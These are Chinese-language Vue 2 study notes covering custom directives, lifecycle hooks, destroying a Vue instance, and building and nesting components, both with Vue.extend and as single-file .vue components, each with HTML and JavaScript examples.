Vue.directive(指令名,配置对象)
Vue.directive(指令名,回调函数)
Vue.directive('fbind',{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
})
配置对象中常用的3个回调函数
bind(element,binding)
:指令与元素成功绑定时调用inserted(element,binding)
:指令所在元素被插入页面时调用update(element,binding)
:指令所在模板结构被重新解析时调用
Note
- 指令定义时不加“v-”,但使用时要加“v-”
- 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名,不用驼峰法
new Vue({
el:'#root',
data:{
n:1
},
directives:{
'big-number'(element,binding){
element.innerText = binding.value * 10
}
}
})
Vue生命周期
引入
- 生命周期回调函数、生命周期函数、生命周期钩子
- 是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数
- 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
- 生命周期函数中的this指向是vm 或 组件实例对象
<body>
<div id="root">
<h2 :style="{opacity}">欢迎学习Vue</h2>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
opacity: 1
},
//Vue完成模板的解析并把真实的DOM元素放入页面后(挂载完毕)调用
mounted() {
console.log('mounted', this)
setInterval(() => {
this.opacity -= 0.01
if (this.opacity <= 0) this.opacity = 1
}, 16)
},
})
</script>
</body>
分析
<body>
<div id="root">
<h2 v-text="n"></h2>
<h2>当前的n值是{{n}}</h2>
<button @click="add">点我n+1</button>
<button @click="bye">点我销毁vm</button>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
n: 1
},
methods: {
add() {
console.log('add');
this.n++
},
bye() {
console.log('bye');
this.$destroy();
}
},
watch: {
n() {
console.log('n变了')
}
},
beforeCreate() {
console.log('beforeCreate')
},
created() {
console.log('created')
},
beforeMount() {
console.log('beforeMount')
},
mounted() {
console.log('mounted')
},
beforeMount() {
console.log('beforeMount')
},
mounted() {
console.log('mounted')
},
beforeUpdate() {
console.log('beforeUpdate')
},
updated() {
console.log('updated')
},
beforeDestroy() {
console.log('beforeDestroy')
},
destroyed() {
console.log('destroyed')
},
})
</script>
</body>
常用的生命周期钩子
- mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等初始化操作
- beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等收尾工作
销毁Vue
- 销毁后借助Vue开发者工具看不到任何信息
- 销毁后自定义事件会失效,但原生DOM事件依然有效
- 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了
<body>
<div id="root">
<h2 :style="{opacity}">欢迎学习Vue</h2>
<button @click="opacity = 1">透明度设置为1</button>
<button @click="stop">点我停止变换</button>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
opacity: 1
},
methods: {
stop() {
this.$destroy()
}
},
mounted() {
console.log('mounted', this)
this.timer = setInterval(() => {
this.opacity -= 0.01
if (this.opacity <= 0) this.opacity = 1
}, 16)
},
beforeDestroy() {
clearInterval(this.timer)
alert('vm已清除')
},
})
</script>
</body>
Vue组件化编程
模块与组件、模块化与组件化
模块
- 理解:向外提供特定功能的 js 程序,一般就是一个 js 文件
- 为什么:js 文件很多很复杂
- 作用:复用 js,简化 js 的编写,提高 js 运行效率
组件
- 定义:用来实现局部功能的代码和资源的集合(html/css/js/image…)
- 为什么:一个界面的功能很复杂
- 作用:复用编码,简化项目编码,提高运行效率
模块化
当应用中的 js 都以模块来编写的,那这个应用就是一个模块化的应用
组件化
当应用中的功能都是多组件的方式来编写的,那这个应用就是一个组件化的应用
非单文件组件
基本使用
三大步骤
- 定义组件(创建组件)
- 注册组件
- 使用组件(写组件标签)
如何定义一个组件?
使用Vue.extend(options)
创建,其中options
和new Vue(options)
时传入的options
几乎一样,但也有点区别:
- el不要写:最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器
- data必须写成函数:避免组件被复用时,数据存在引用关系
- 使用template可以配置组件结构
如何注册组件?
- 局部注册:
new Vue
的时候传入components
选项 - 全局注册:
Vue.component('组件名',组件)
- 编写组件标签:
<school></school>
<body>
<div id="root">
<h1>{{msg}}</h1>
<hr>
<!-- 第三步:编写组件标签 -->
<school></school>
<hr>
<student></student>
</div>
</body>
<script>
Vue.config.productionTip = false
//第一步:创建school组件
const school = Vue.extend({
template: `
<div class="demo">
<h2>学校名称:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
</div>
`,
data() {
return {
schoolName: '尚硅谷',
address: '北京',
}
}
})
//第一步:创建student组件
const student = Vue.extend({
template: `
<div>
<h2>学生姓名:{{studentName}}</h2>
<h2>学生年龄:{{age}}</h2>
</div>
`,
data() {
return {
studentName: 'Sunny',
age: 18
}
}
})
//创建vm
new Vue({
el: '#root',
data: {
msg: 'Hello, Sunny'
},
//第二步:注册组件(局部注册)
components: {
// 简写school
school: school,
student
}
})
</script>
注意事项
组件名
- 一个单词组成:
** 第一种写法(首字母小写):school
** 第二种写法(首字母大写):School - 多个单词组成:
** 第一种写法(kebab-case命名):my-school
** 第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持) - 备注:
** 组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行
** 可以使用name配置项指定组件在开发者工具中呈现的名字
组件标签
- 第一种写法:
<school></school>
- 第二种写法:
<school/>
- 备注:不使用脚手架时,
<school/>
会导致后续组件不能渲染 const school = Vue.extend(options)
可简写为:const school = options
组件的嵌套
<body>
<div id="root">
</div>
</body>
<script>
Vue.config.productionTip = false
//定义student组件
const student = {
template: `
<div>
<h2>学生名称:{{name}}</h2>
<h2>学生年龄:{{age}}</h2>
</div>
`,
data() {
return {
name: 'Sunny',
age: 18
}
}
}
//定义school组件
const school = {
template: `
<div>
<h2>学校名称:{{name}}</h2>
<h2>学校地址:{{age}}</h2>
<hr>
<student></student>
</div>
`,
data() {
return {
name: '尚硅谷',
age: '北京'
}
},
components: {
student
}
}
//定义hello组件
const hello = {
template: `
<h1>{{msg}}</h1>
`,
data() {
return {
msg: 'Hello, Sunny'
}
}
}
//定义app组件
const app = {
template: `
<div>
<hello></hello>
<school></school>
</div>
`,
components: {
school,
hello
}
}
//创建vm
new Vue({
template: `
<app></app>
`,
el: '#root',
components: {
app
}
})
</script>
VueComponent
- school组件本质是一个名为
VueComponent
的构造函数,且不是程序员定义的,是Vue.extend生成的 - 只需要写
<school/>
或<school></school>
,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:new VueComponent(options)
- 特别注意:每次调用
Vue.extend
,返回的都是一个全新的VueComponent
! - 关于this指向:
- 组件配置中:
data
函数、methods
中的函数、watch
中的函数、computed
中的函数,它们的this均是VueComponent实例对象 new Vue(options)
配置中:data
函数、methods
中的函数、watch
中的函数、computed
中的函数 它们的this均是Vue实例对象
VueComponent
的实例对象,以后简称vc(也可称之为:组件实例对象)- Vue的实例对象,以后简称vm
一个重要的内置关系
- 一个重要的内置关系:
VueComponent.prototype.__proto__ === Vue.prototype
- 为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue 原型上的属性、方法
<body>
<div id="root">
<school></school>
</div>
</body>
<script>
Vue.config.productionTip = false
Vue.prototype.x = 99
const school = Vue.extend({
name: 'school',
template: `
<div>
<h2>学校名称:{{name}}</h2>
<h2>学校地址:{{address}}</h2>
<button @click='showX'>点我输出x</button>
</div>
`,
data() {
return {
name: '尚硅谷',
address: '北京'
}
},
methods: {
showX() {
console.log(this.x)
}
}
})
const vm = new Vue({
el: '#root',
data: {
msg: '你好'
},
components: { school }
})
</script>
单文件组件
School.vue
<template>
<div id='Demo'>
<h2>学校名称:{{name}}</h2>
<h2>学校地址:{{address}}</h2>
<button @click="showName">点我提示学校名</button>
</div>
</template>
<script>
export default {
name: 'School',
data() {
return {
name: '尚硅谷',
address: '北京'
}
},
methods: {
showName() {
alert(this.name)
}
}
}
</script>
<style>
#Demo{
background-color:orange;
}
</style>
Student.vue
<template>
<div>
<h2>学生姓名:{{name}}</h2>
<h2>学生年龄:{{age}}</h2>
</div>
</template>
<script>
export default {
name: 'Student',
data() {
return {
name: 'Sunny',
age:18
}
}
}
</script>
App.vue
<template>
<div>
<School></School>
<Student></Student>
</div>
</template>
<script>
import School from './School.vue'
import Student from './Student.vue'
export default {
name: 'App',
components: {
School,
Student
}
}
</script>
main.js
import App from '../App.vue'
new Vue({
template:`<App></App>`,
el:'#root',
components:{App}
})
index.html
<body>
<div id="root"></div>
<script src="../js/vue.js"></script>
<script src="./main.js"></script>
</body>